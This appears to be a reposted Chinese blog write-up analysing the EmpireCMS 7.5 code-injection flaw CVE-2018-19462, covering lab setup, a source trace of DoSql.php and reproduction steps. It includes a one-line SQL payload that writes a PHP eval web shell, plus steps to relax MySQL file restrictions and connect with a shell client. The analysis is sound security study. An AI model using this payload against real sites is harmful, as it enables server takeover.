帝国CMS(EmpireCMS)v7.5代码注⼊分析(CVE-2018-
19462)
帝国CMS(EmpireCMS) v7.5 代码注⼊分析(CVE-2018-19462)
⼀、漏洞描述
EmpireCMS7.5及之前版本中的admindbDoSql.php⽂件存在代码注⼊漏洞。该漏洞源于外部输⼊数据构造代码段的过程中,⽹路系统或产品未正确过滤其中的特殊元素。攻击者可利⽤该漏洞⽣成⾮法的代码段,修改⽹络系统或组件的预期的执⾏控制流。
⼆、影响版本
EmpireCMS<=7.5
三、环境搭建
1、官⽅下载EmpireCMS V7.5 下载地址:www.phome/download/
2、把下载的⽂件中的upload下的所有⽬录和⽂件放⼊到⽹站根⽬录下
3、修改php.ini配置⽂件, PHP环境中必须开启短标签,不然安装会提⽰⽆法安装
4、设置php.ini中 short_open_tag = On,重启phpstudy
5、然后开始安装,安装过程参考: jingyan.baidu/article/48b37f8dcc014b1a6564887c.html
用phpstudy搭建网站四、漏洞复现
1、漏洞出现的页⾯如下
2、分析源码定位漏洞出现的位置在/e/admin/db/DoSql.php,浏览代码,对sqltext使⽤RepSqlTbpre函数进⾏处理
3、跟进RepSqlTbpre函数,发现仅仅对表的前缀做替换,没有做其他任何处理
4、继续浏览代码,发现对$query使⽤DoRunQuery函数进⾏处理
5、跟进DoRunQuery函数,可以看到对$sql参数只做了去除空格、以”;”分隔然后遍历,并你没有做别的限制和过滤,导致可以执⾏恶意的sql语句
6、登录后台,点击如下,输⼊⼀段写shell的payload,payload内容如下:
select '<?php @eval($_POST[1])?>' into outfile 'C:/phpStudy/WWW/empirecms/shell.php'
7、点击”执⾏SQL”,提⽰错误,是由于mysql安全限制的原因
8、修改mysql的配置⽂件, 在[mysqld] 下添加条⽬: secure_file_priv =,保存之后,然后重启mysql
9、再次执⾏SQL语句,可以看到成功执⾏SQL语句
10、查看是否成功上传shell
11、菜⼑连接,成功getshell
-------------------------------------------------------------------------------------------------------------参考:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论